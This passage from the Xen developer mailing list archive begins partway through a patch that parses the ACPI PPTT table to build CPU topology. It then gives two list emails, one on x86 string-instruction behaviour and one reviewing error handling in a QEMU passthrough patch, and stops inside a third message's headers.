+static uint32_t __initdata map_cpu_acpiid[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = INVALID_ACPIID
+};
 
 /*
- * TODO: Populate the topology information by scanning the ACPI
- *       PPTT (Processor Properties Topology Table).
+ * The first argument 'cpu' is the logical CPU ID assigned by Xen,
+ * and the second argument 'acpi_id' the 32-bit ACPI processor ID.
  */
-int __init acpi_init_cpu_topology(void)
+void __init acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id)
 {
-    unsigned int cpu;
+    map_cpu_acpiid[cpu] = acpi_id;
+}
+
+static unsigned int __init get_logical_id(unsigned int key,
+                                          unsigned int *map,
+                                          unsigned int *count)
+{
+    unsigned int id;
+
+    for ( id = 0; id < *count; id++ )
+        if ( map[id] == key )
+            return id;
+
+    map[*count] = key;
+
+    return (*count)++;
+}
+
+static bool __init verify_subtable(const struct acpi_subtable_header *entry,
+                                   const struct acpi_table_pptt *pptt)
+{
+    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
+
+    if ( entry->length < sizeof(*entry) || (entry->length & 3) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable length is invalid\n");
+        return false;
+    }
+
+    if ( (unsigned long)entry + entry->length > table_end )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT subtable extends beyond table end\n");
+        return false;
+    }
+
+    return true;
+}
+
+static bool __init verify_proc(const struct acpi_pptt_processor *proc)
+{
+    unsigned long table_size;
+
+    if ( proc->header.length < sizeof(*proc) )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length is too small\n");
+        return false;
+    }
 
     /*
-     * Generate temporary cpu topology information for now.
-     * It assumes that the cpu doesn't have SMT and all CPUs
-     * belong to the same socket.
+     * Each private resource is represented by a 32-bit resource ID.
+     * Ensure the structure length accurately accounts for the trailing array.
      */
+    table_size = sizeof(*proc)
+        + (unsigned long)proc->number_of_priv_resources * sizeof(uint32_t);
+
+    if ( proc->header.length < table_size )
+    {
+        printk(XENLOG_ERR "ACPI: PPTT processor node length invalid\n");
+        return false;
+    }
+
+    return true;
+}
+
+static const struct acpi_pptt_processor *__init find_pptt_node(
+    const struct acpi_table_pptt *pptt, uint32_t acpi_id)
+{
+    const struct acpi_subtable_header *entry;
+    unsigned long table_end = (unsigned long)pptt + pptt->header.length;
+    const void *ptr = pptt + 1;
+
+    while ( (unsigned long)ptr + sizeof(*entry) <= table_end )
+    {
+        entry = ptr;
+
+        if ( !verify_subtable(entry, pptt) )
+            break;
+
+        if ( entry->type == ACPI_PPTT_TYPE_PROCESSOR )
+        {
+            const struct acpi_pptt_processor *proc;
+
+            proc = container_of(entry, const struct acpi_pptt_processor,
+                                header);
+
+            if ( !verify_proc(proc) )
+                break;
+
+            /*
+             * Leaf node verification is only required for ACPI 6.3
+             * (PPTT revision 2) or later.
+             */
+            if ( (proc->flags & ACPI_PPTT_ACPI_PROCESSOR_ID_VALID) &&
+                 proc->acpi_processor_id == acpi_id &&
+                 (pptt->header.revision < 2 ||
+                  (proc->flags & ACPI_PPTT_ACPI_LEAF_NODE)) )
+                return proc;
+        }
+
+        ptr += entry->length;
+    }
+
+    return NULL;
+}
+
+/*
+ * Populate the topology information by scanning the ACPI PPTT
+ * (Processor Properties Topology Table).
+ */
+int __init acpi_init_cpu_topology(void)
+{
+    acpi_status status;
+    struct acpi_table_header *table_header;
+    const struct acpi_table_pptt *pptt;
+    unsigned int num_sockets = 0;
+    unsigned int num_clusters = 0;
+    unsigned int num_cores = 0;
+    unsigned int *socket_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *cluster_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int *core_map = xvzalloc_array(unsigned int, nr_cpu_ids);
+    unsigned int cpu;
+    int ret = 0;
+
+    status = acpi_get_table(ACPI_SIG_PPTT, 0, &table_header);
+    if ( ACPI_FAILURE(status) )
+    {
+        /* A missing PPTT is benign; fall back to the default topology. */
+        ret = -ENODEV;
+        goto out;
+    }
+
+    if ( !socket_map || !cluster_map || !core_map )
+    {
+        printk(XENLOG_ERR
+               "ACPI: Failed to allocate memory for topology parsing\n");
+        ret = -ENOMEM;
+        goto out;
+    }
+
+    pptt = container_of(table_header, const struct acpi_table_pptt, header);
+
+    for_each_possible_cpu(cpu)
+    {
+        uint32_t acpi_id = map_cpu_acpiid[cpu];
+        struct cpu_topology *topo = &cpu_topology[cpu];
+        const struct acpi_pptt_processor *proc;
+        unsigned int level;
+        unsigned int core_group_key = 0;
+        unsigned int cluster_group_key = 0;
+        unsigned int socket_group_key = 0;
+        bool threading = false;
+
+        proc = find_pptt_node(pptt, acpi_id);
+        if ( !proc )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: No PPTT leaf node for CPU %u (ACPI ID %#x)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        /*
+         * Limit the maximum loop depth to prevent an infinite loop in case
+         * the PPTT is corrupted or contains cyclic references.
+         */
+        for ( level = 0; level < ACPI_PPTT_MAX_LEVELS; level++ )
+        {
+            const unsigned int offset = (const void *)proc - (const void *)pptt;
+
+            /*
+             * If this proc has no parent node, it is the root node. Treat it
+             * as equivalent to an ACPI_PPTT_PHYSICAL_PACKAGE node.
+             */
+            if ( proc->flags & ACPI_PPTT_PHYSICAL_PACKAGE || !proc->parent )
+            {
+                socket_group_key = offset;
+
+                /*
+                 * If cluster/core info is absent upon reaching the physical
+                 * package, assume one cluster per socket and one core per
+                 * cluster.
+                 */
+                if ( cluster_group_key == 0 )
+                    cluster_group_key = socket_group_key;
+
+                if ( core_group_key == 0 )
+                    core_group_key = cluster_group_key;
+
+                break;
+            }
+            else if ( level == 0 )
+            {
+                /*
+                 * ACPI_PPTT_PROCESSOR_IS_THREAD is supported in PPTT
+                 * revision 2 and later. Assume no threading support when
+                 * PPTT revision is 1.
+                 */
+                if ( proc->flags & ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD )
+                    threading = true;
+                else
+                    core_group_key = offset;
+            }
+            else if ( level == 1 )
+            {
+                if ( threading )
+                    core_group_key = offset;
+                else
+                    cluster_group_key = offset;
+            }
+            else if ( level == 2 && threading )
+                cluster_group_key = offset;
+
+            if ( (proc->parent & 3) ||
+                 proc->parent < sizeof(*pptt) ||
+                 proc->parent > pptt->header.length - sizeof(*proc) ||
+                 (proc->parent + sizeof(*proc) > offset &&
+                  proc->parent < offset + proc->header.length) )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent offset is invalid\n");
+                break;
+            }
+
+            proc = (const void *)pptt + proc->parent;
+
+            if ( proc->header.type != ACPI_PPTT_TYPE_PROCESSOR )
+            {
+                printk(XENLOG_WARNING
+                       "ACPI: PPTT parent node is not a processor structure\n");
+                break;
+            }
+
+            if ( !verify_subtable(&proc->header, pptt) ||
+                 !verify_proc(proc) )
+                break;
+        }
+
+        if ( socket_group_key == 0 )
+        {
+            printk(XENLOG_WARNING
+                   "ACPI: Could not reach the physical package node for CPU %u (ACPI ID %#x)\n",
+                   cpu, acpi_id);
+            ret = -ENOENT;
+            goto out;
+        }
+
+        topo->phys_socket_id =
+            get_logical_id(socket_group_key, socket_map, &num_sockets);
+        topo->phys_cluster_id =
+            get_logical_id(cluster_group_key, cluster_map, &num_clusters);
+        topo->phys_core_id =
+            get_logical_id(core_group_key, core_map, &num_cores);
+    }
+
     for_each_possible_cpu(cpu)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
+        unsigned int tcpu;
 
-        topo->phys_core_id = cpu;
-        topo->num_siblings = 1;
+        for_each_possible_cpu(tcpu)
+        {
+            struct cpu_topology *ttopo = &cpu_topology[tcpu];
 
-        cpumask_set_cpu(cpu, topo->thread_sibling);
-        cpumask_copy(topo->core_sibling, &cpu_possible_map);
-        cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
+            if ( cpu > tcpu )
+                continue;
+
+            if ( topo->phys_core_id == ttopo->phys_core_id )
+            {
+                cpumask_set_cpu(tcpu, topo->thread_sibling);
+                cpumask_set_cpu(cpu, ttopo->thread_sibling);
+            }
+
+            if ( topo->phys_cluster_id == ttopo->phys_cluster_id )
+            {
+                cpumask_set_cpu(tcpu, topo->cluster_sibling);
+                cpumask_set_cpu(cpu, ttopo->cluster_sibling);
+            }
+
+            if ( topo->phys_socket_id == ttopo->phys_socket_id )
+            {
+                cpumask_set_cpu(tcpu, topo->core_sibling);
+                cpumask_set_cpu(cpu, ttopo->core_sibling);
+            }
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
     }
 
-    return 0;
+ out:
+    xvfree(socket_map);
+    xvfree(cluster_map);
+    xvfree(core_map);
+
+    return ret;
 }
 
 /*
diff --git a/xen/include/xen/acpi.h b/xen/include/xen/acpi.h
index cbb02e0f35..9788586be4 100644
--- a/xen/include/xen/acpi.h
+++ b/xen/include/xen/acpi.h
@@ -52,6 +52,8 @@
                 (!(entry)) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||  \
                 (entry)->header.length < sizeof(*(entry)))
 
+#define INVALID_ACPIID		(-1U)
+
 #ifdef CONFIG_ACPI
 
 #include <acpi/acpi.h>
@@ -137,10 +139,12 @@ static inline int acpi_boot_table_init(void)
 
 #ifdef CONFIG_ACPI_CPU_TOPOLOGY
 
+void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id);
 int acpi_init_cpu_topology(void);
 
 #else /* CONFIG_ACPI_CPU_TOPOLOGY */
 
+static inline void acpi_map_cpu_acpiid(unsigned int cpu, uint32_t acpi_id) {}
 static inline int acpi_init_cpu_topology(void)
 {
     return -EOPNOTSUPP;
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 02:58:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 02:58:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370940.1618793 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnp4D-0001QM-Bf; Sun, 26 Jul 2026 02:58:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370940.1618793; Sun, 26 Jul 2026 02:58:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnp4D-0001QE-6O; Sun, 26 Jul 2026 02:58:17 +0000
Received: by outflank-mailman (input) for mailman id 1370940;
 Sun, 26 Jul 2026 02:58:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <hpa@zytor.com>) id 1wnp4C-0001Q7-1k
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 02:58:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnp4B-00FPfM-0e
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 04:58:15 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <hpa@zytor.com>)
 id 6a65764e-5cb7-0a2a0a5109dd-0a2a4502c28e-16
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 04:58:14 +0200
Received: from [198.137.202.136] (helo=mail.zytor.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <hpa@zytor.com>)
 id 6a6577c4-6ca4-0a2a45020019-c689ca88bd50-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 04:58:14 +0200
Received: from ehlo.thunderbird.net (c-76-133-66-138.hsd1.ca.comcast.net
 [76.133.66.138]) (authenticated bits=0)
 by mail.zytor.com (8.18.1/8.17.1) with ESMTPSA id 66Q2vYTD536917
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NO);
 Sat, 25 Jul 2026 19:57:34 -0700
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=2026062701 header.d=zytor.com header.i="@zytor.com" header.h="Date:From:To:CC:Subject:In-Reply-To:References"
DKIM-Filter: OpenDKIM Filter v2.11.0 mail.zytor.com 66Q2vYTD536917
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zytor.com;
	s=2026062701; t=1785034657;
	bh=kGfV63mG7ZtSeWXvQizP6lBB+RX//0RIPDV16FrvT8o=;
	h=Date:From:To:CC:Subject:In-Reply-To:References:From;
	b=CzFeaLEG7P1llSpI85KnYi3kxWtJskBiLEMhU/11u0bTwFa+S944ciWeeOT09G5G4
	 NxRbhl3v5aD4E0613dQrnMo3S/XL2Ep3yIFR39jxuZ2lVQbNO8CpadPbv1LxM3+LIU
	 Md9ScDJh8hqFr4xqODekGpblooPPAKy9V5tAKQXYxMWUj6Ig5tuKhr06gHc+CHeT0y
	 bwD1DorQ076tIwD2QEZ57Z4dPT0/6O8H7txlqmqBytE3MYPKau0x+3iFl6ggGzh7R8
	 3QtnUaSRAHN4pGUEnJsKO2rww+3QOC38dRRIeQT5kYGTXB0yWoQzkYuKHcJhY03hXO
	 LyvQ3gFnQZwow==
Date: Sat, 25 Jul 2026 19:57:29 -0700
From: "H. Peter Anvin" <hpa@zytor.com>
To: David Laight <david.laight.linux@gmail.com>,
        Brian Gerst <brgerst@gmail.com>
CC: Borislav Petkov <bp@alien8.de>,
        Mauricio Faria de Oliveira <mfo@igalia.com>,
        Thomas Gleixner <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>,
        Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org,
        Juergen Gross <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>,
        Boris Ostrovsky <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
        linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: =?US-ASCII?Q?Re=3A_=5BPATCH_v7_2/5=5D_x86/asm=3A_add_volatile=2C_cl?=
 =?US-ASCII?Q?obbers_and_zero-length_check_in_inline_memcmp?=
User-Agent: K-9 Mail for Android
In-Reply-To: <20260725113445.14ccf42f@pumpkin>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com> <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com> <20260722170334.GCamD35gwrCng30WH1@fat_crate.local> <0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com> <CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com> <2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com> <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com> <20260725113445.14ccf42f@pumpkin>
Message-ID: <C2EBCD00-4F46-424D-A796-4A0A4B86B8A7@zytor.com>
MIME-Version: 1.0
Content-Type: text/plain;
 charset=utf-8
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-720697/1785034694-319CB2AC-B00EB744/0/0
X-purgate-type: clean
X-purgate-size: 966

On July 25, 2026 3:34:45 AM PDT, David Laight <david=2Elaight=2Elinux@gmail=
=2Ecom> wrote:
>On Thu, 23 Jul 2026 20:49:13 -0400
>Brian Gerst <brgerst@gmail=2Ecom> wrote:
>
>=2E=2E=2E
>> I had originally thought that the test for RCX=3D=3D0 was also at the e=
nd
>> of the loop, after the decrement=2E  But a closer look at the
>> pseudo-code in the SDM does show that the test is at the start of the
>> loop=2E  Starting with RCX=3D=3D0 does indeed skip the comparison and d=
oes
>> not touch ZF=2E  Your suggestion is good, but should have a comment
>> explaining why it's there to someone reading the code in the future=2E
>
>I have a feeling that was a change between the 8086 and 80286=2E
>I don't have an 8086 book (any more) but I'm sure I remember fixing
>bugs where %cx of zero caused 65536 iterations=2E
>(Fun to find because the vector table is 'first in the line to be
>overwritten=2E)
>
>	David

No, but on the Z80 0 meant 64K=2E


From xen-devel-bounces@lists.xenproject.org Sun Jul 26 09:17:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 09:17:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371019.1618801 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnuyg-0004dJ-QY; Sun, 26 Jul 2026 09:16:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371019.1618801; Sun, 26 Jul 2026 09:16:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnuyg-0004d6-Kn; Sun, 26 Jul 2026 09:16:58 +0000
Received: by outflank-mailman (input) for mailman id 1371019;
 Sun, 26 Jul 2026 09:16:57 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <tomitamoeko@gmail.com>) id 1wnuyf-0004d0-04
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 09:16:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnuye-00Ft98-67
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 11:16:56 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a65d067-e002-0a2a0a5209dd-0a2a4501e294-20
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 11:16:56 +0200
Received: from [74.125.227.131] (helo=mail-pj2-f3.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <tomitamoeko@gmail.com>)
 id 6a65d086-5984-0a2a45010019-4a7de383bd62-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 11:16:55 +0200
Received: by mail-pj2-f3.google.com with SMTP id
 d9443c01a7336-2ce7ac92dfcso17262405ad.1
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 02:16:55 -0700 (PDT)
Received: from ?IPV6:2408:820c:8ffa:c0f0:38f6:5714:f0df:99c3?
 ([2408:820c:8ffa:c0f0:38f6:5714:f0df:99c3])
 by smtp.gmail.com with ESMTPSA id
 5a478bee46e88-314bc415eafsm19055702eec.7.2026.07.26.02.16.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Sun, 26 Jul 2026 02:16:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785057414; x=1785662214; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=EAE+jyqEL9oR8OfraxbI5YKeewSRrwjZxO3fH6CCJTg=;
        b=Lr4JR4OgLndsUfNBmTQlm5dljIPtle/wNF6VPHHbpyIaQCQyT3zzvdrqqa0aqNS27m
         qYwqzqOPFLlysHkGWvh/pY31HJHItqORjx3uN1MTCv079v6w0pIVJGnAnOGh1Mug0+YG
         g/eYuyXbeX8mawSTEpetSNL/Iang0GSNphUSmE50fiCaFSK57XMlsapDjeu+OIx03bHf
         cjGMK7pZFMUkidKqK6uDS1HCMtts5u92lb2bJtfP/w4jgIboce2s9Tl74DeC9cvxSQhE
         lchfC5AVFqjdiPDGlCaco0zgEVZ4Q/s1eyRbqOuhZOwzyvCuSsQh2WrEvYKXVXg/k1Fs
         L33g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785057414; x=1785662214;
        h=content-transfer-encoding:content-type:in-reply-to:from:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=EAE+jyqEL9oR8OfraxbI5YKeewSRrwjZxO3fH6CCJTg=;
        b=plM+B2MkcTOnP/2R9Uy8riuw+rjNoj/lsnfNOjuKSgJ2UmnvR0yeNyXh3KU3QppdFa
         8OMFNmW2jeB3QPnV0Q/vf3rk2HsrGpBjxgZE+PDnZgKG2GB5ZHnWkcBahVGdJ0vFrJg3
         WXvbj3CIFUAjMQHHAS/B2FW+5Emlt7haYyAjRLsDUtC3U3mPyVqYJjOXidfSd3eS8hit
         Voa1aQ30Q60+Ggd8N61kMduJ7G3XuamVzBqmJwyFDGBmT01K7vFvgj98wqwjlTxvtBcr
         v8sLQ9t3fA8H6Qw/34wbctQ/XO/Dxqee+9LPzSfKGyFGY8bspXuuGLjZP4oLaqTFGK2e
         5n8w==
X-Forwarded-Encrypted: i=1; AHgh+RrmNccBTZ2YXcV/kf8ezGb40ifZl8V96FYUKfjGJiyWT/OAM6JbNNWh9nJt85GD2MEY8JXvno2/s00=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw6A0XBsj1P1Fo7gpTlFEyFb1SdU+arcr3NpvA69DUMtPEYW09e
	rYa2cV5KCsge10ixlhw7AkGZ9vBdcqoLGw4twTDp5erZjfGiaLrVDZU=
X-Gm-Gg: AR+sD13m14T0ULfQ1HOusr3COPasPUW6X5O3tBGJo5dBqAF4Lmtd8O9a0UttXa15uA2
	FSYifTisczMHNP2k77Jw+4J+Jo+aXfc8zo4l4wWuFUsnmye+hMJz4+V0eeu/T2vnhUCmfFPspI+
	eUVixpo6glyN25vWBZVs8l/zaAu3Dl18LVLEfV/SurBK0k43HrwX7mrn0xMJRlpc25cz0XVkUHg
	hctJsZX5If9G3ax7ZwN9rq2K20Rwx5LCTuaxxiW+GJKQhTOKn+O/9TPv2b8PWcpGZcYI1KLqG0q
	wKPyO9+jUF4aELFwwfz9Tc/DZgTa9OWBN2fJP3bRnz8llw2NYTzST7WE49mallTGLr70LGN+61W
	NpeGwHDyH7FKnJf/kQNAJXon95iBz2XxMLOXps3Cww1+LAnIu7GwfT1qw1nkTwx4RWTe2ACMMlt
	59AGTiBT2hr0iXPSyTU26oj1IMbiw9oK7Yy7QUz+hK9oufNjF4GxbKXMvTYg==
X-Received: by 2002:a05:6a20:c5aa:b0:3c0:9c1b:d0b3 with SMTP id adf61e73a8af0-3c67e026f9dmr4396021637.62.1785057414063;
        Sun, 26 Jul 2026 02:16:54 -0700 (PDT)
Message-ID: <5bb70c1f-d4c7-4361-b93c-acd2d0616b2e@gmail.com>
Date: Sun, 26 Jul 2026 17:16:49 +0800
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3 1/3] xen/igd: get PCH info from host sysfs
To: Chuck Zmudzinski <brchuckz@netscape.net>,
 Chuck Zmudzinski <brchuckz@aol.com>, qemu-devel@nongnu.org
Cc: qemu-stable@nongnu.org, xen-devel@lists.xenproject.org,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E . Iglesias" <edgar.iglesias@gmail.com>
References: <20260709183517.25866-1-brchuckz@aol.com>
 <20260709183517.25866-2-brchuckz@aol.com>
 <5cb8d286-f013-4400-aef4-baddaa775995@gmail.com>
 <dda25bc4-6d3c-4f36-94e0-ffdc8b9bc81d@netscape.net>
From: Tomita Moeko <tomitamoeko@gmail.com>
In-Reply-To: <dda25bc4-6d3c-4f36-94e0-ffdc8b9bc81d@netscape.net>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d62444/1785057416-BEA66757-B226B2A3/0/0
X-purgate-type: clean
X-purgate-size: 3866



On 2026-07-25 12:19, Chuck Zmudzinski wrote:
> On 7/23/2026 9:09 AM, Tomita Moeko wrote:
>>> ...
>>> Also, use errp in xen_igd_passthrough_isa_bridge_create
>>> to set errors from xen_pt_get_host_pch_info.
>>>
>>> Signed-off-by: Chuck Zmudzinski <brchuckz@aol.com>
>>> ---
>>> Changes in v2:
>>>   - call error_setg* after closing files instead of before closing
>>>     files
>>>   - in last line of commit message change "to propagate errors" to
>>>     "to set errors"
>>>   - add stable to Cc list
>>>
>>> Changes in v3:
>>>   - whitespace fix at line 380 of xen_pt_graphics.c
>>>   - fix Cc address for qemu-stable
>>>
>>>  hw/xen/xen_pt.c          |  2 +-
>>>  hw/xen/xen_pt_graphics.c | 82 ++++++++++++++++++++++++++++++++++++++--
>>>  include/hw/xen/xen_igd.h |  3 +-
>>>  3 files changed, 82 insertions(+), 5 deletions(-)
>>>
>>> diff --git a/hw/xen/xen_pt.c b/hw/xen/xen_pt.c
>>> index 0fe9c0a..474606e 100644
>>> --- a/hw/xen/xen_pt.c
>>> +++ b/hw/xen/xen_pt.c
>>> @@ -867,7 +867,7 @@ static void xen_pt_realize(PCIDevice *d, Error **errp)
>>>          }
>>>  
>>>          /* Register ISA bridge for passthrough GFX. */
>>> -        xen_igd_passthrough_isa_bridge_create(s, &s->real_device);
>>> +        xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
>>
>> The `errp` need to be handled here if any error occurs.
> 
> Do you mean calling it like this as a supported way to handle an error:
> 
>     xen_igd_passthrough_isa_bridge_create(s, &s->real_device, &error_fatal);
> 
> IIUC, that would cause Qemu to exit(1) here if there was any error.
>
> I didn't do that because I thought if there was an error one of the
> parents (pci or qdev) would handle the error appropriately since we
> are passing 'errp' from xen_pt_realize which I think comes from pci
> and qdev, but maybe not. I have not tested how an error is handled
> with this version of the patch and I am certainly no expert in how
> error handling should be done here, so thanks for alerting me to this
> question.
> 
> I have also seen in the Qemu source the use of local_err and maybe
> using &error_fatal is something like using a local_err instead of the
> errp from xen_pt_realize.
>
> I will accept any suggestions from more knowledgeable people about
> how best to handle the errors here. I can also do some tests by
> faking an error here and make sure the the error does get handled.
> I do think if the LPC bridge creation fails it should be a fatal error
> and if am reading the current code we have correctly, we currently
> just print a message to stderr if bridge creation fails without doing
> anything about that error. I also think maybe if for some reason we
> can't get a revision number for the LPC bridge, maybe that should
> not be a fatal error.

Here I mean, since you've changed the function to use errp, then it should be
handled as other function calls in xen_pt_realize() like

    xen_igd_passthrough_isa_bridge_create(s, &s->real_device, errp);
    if (errp) {
        xen_host_pci_device_put(&s->real_device);  // cleanup
        return;
    }

The realized function is called in device_set_realized() with

    dc->realize(dev, &local_err);
    if (local_err != NULL) {
        goto fail;
    }
    
In your code, if any error occurs, though it contiunes, it would be still
treated as a failure. I'm not sure if this failure would have any impact
to further steps in xen_pt_realize(), but since it ultimately fails, fail
fast is always preferred.

If you think the error can be ignored, then keep using current fprintf()
or error_report() would be the best choice.

Thanks,
Moeko

> I will make sure the next version of the patch will not be posted until
> I have verified the errors are handled appropriately.
> 
> Cheers,
> 
> Chuck



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 09:22:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 09:22:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371027.1618811 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnv3Z-0006Or-9W; Sun, 26 Jul 2026 09:22:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371027.1618811; Sun, 26 Jul 2026 09:22:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnv3Z-0006Ok-5l; Sun, 26 Jul 2026 09:22:01 +0000
Received: by outflank-mailman (input) for mailman id 1371027;
 Sun, 26 Jul 2026 09:22:00 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+6ceaf79e9f962195886c+8372+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnv3X-0006NZ-2j
